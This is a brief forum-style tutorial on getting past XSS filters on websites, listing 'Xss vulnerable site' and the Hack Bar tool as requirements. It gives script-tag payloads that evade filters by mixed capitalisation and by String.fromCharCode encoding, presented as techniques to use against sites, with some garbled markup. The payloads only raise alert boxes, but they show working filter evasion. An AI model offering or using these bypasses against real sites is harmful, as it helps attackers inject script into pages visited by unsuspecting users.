XSS Filters are installed in the webserver to protect the site from the XSS attacks. So. today we will learn How to bypass the XSS filters.
Things required :
Hack Bar
Xss vulnerable site
Sharp Brain
So lets Begin —>
Up-down capitalirztion method
Kod:
Normal Alert Query :- <script>alert(“123″)</script>
Bypassing query :- <ScriPt>AleRt(“123″)</scRIpt>
;[/code]
Bypassing with Strings
[code]Normal alert query :- <script>alert(“123″)</script>
Bypassing query :- <script>alert(String.fromCharCode(88, 83, 83))</script>[/code]
* You can get the string codes from Hack Bar
ENJOY!
